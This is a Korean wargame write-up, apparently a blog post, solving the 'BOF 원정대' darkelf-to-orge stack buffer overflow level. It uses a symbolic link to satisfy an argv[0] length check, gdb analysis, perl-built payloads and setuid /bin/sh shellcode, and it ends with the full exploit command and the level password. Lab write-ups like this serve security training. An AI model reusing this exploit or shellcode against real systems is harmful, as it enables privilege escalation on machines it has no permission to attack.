1. 취약점
그 전의 문제와 똑같은데 중간에 argv[0]의 길이를 묻는 구문이 있다.
으잉??ㅋㅋ 파일 길이가 ./orge이면 6글자인데 77글자로 만들어라고요?? 파일 이름은 권한 문제로 바꾸지 못하니까 방법은.. 심볼릭 링크닷!! 심볼릭 링크는 쉽게 윈도우에서 바로가기와 똑같다.
2. Exploit
1. bash2를 사용하고 orge.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다
$ bash2
$ cp orge.c /tmp/orge.c && cd /tmp
2. gcc로 컴파일을 한다.
$ gcc -g -o orge orge.c
3. 심볼릭 링크를 만들고 gdb로 디버깅을 시작한다.
$ ln -s ./orge 123456789012345678901234567890123456789012345678901234567890123
$ gdb -q /tmp//////////123456789012345678901234567890123456789012345678901234567890123
gdb에서 파일명으로 디버깅을 하면 자동으로 절대경로로 입력이 되는 것을 알 수 있다
/home/darkelf/는 14글자이므로 심볼릭 링크의 이름은 63자가 나오게끔 만든다.
그리고 gdb로 디버깅 할 때는 /tmp에서 하므로 길이를 맞춰주기위에 /tmp////////// 로 시작하여준다
4. 어셈블리로 취약점이 있는 코드를 보자
(gdb) disas main
memset이후의 새로운 Return Address를 지정할 위치를 파악하기 위해 이 곳을 중담점으로 한다.
5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..
(gdb) b *main+313
(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "\x90"x100, "B"x41'`
(gdb) x/150x $esp
Return Address는 0xbffffbac로 정했다
6. 쉘코드를 만들거나 웹에서 주어온다♥
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
7. 괴.. 괴롭혀 주겠다...
(gdb) q
$ cd ~
$ ln -s ./orge 123456789012345678901234567890123456789012345678901234567890123
$ /home/darkelf/123456789012345678901234567890123456789012345678901234567890123 `perl -e 'print "A"x44, "\xac\xfb\xff\xbf"'` `perl -e 'print "\x90"x100, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
8. 결과
id : orge passwd : timewalker
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (troll -> vampire) (0) | 2016.10.08 |
---|---|
[버퍼 오버플로우] Bof 원정대 (orge-> troll) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (wolfman -> darkelf) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (orc -> wolfman) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (goblin -> orc) (0) | 2016.10.07 |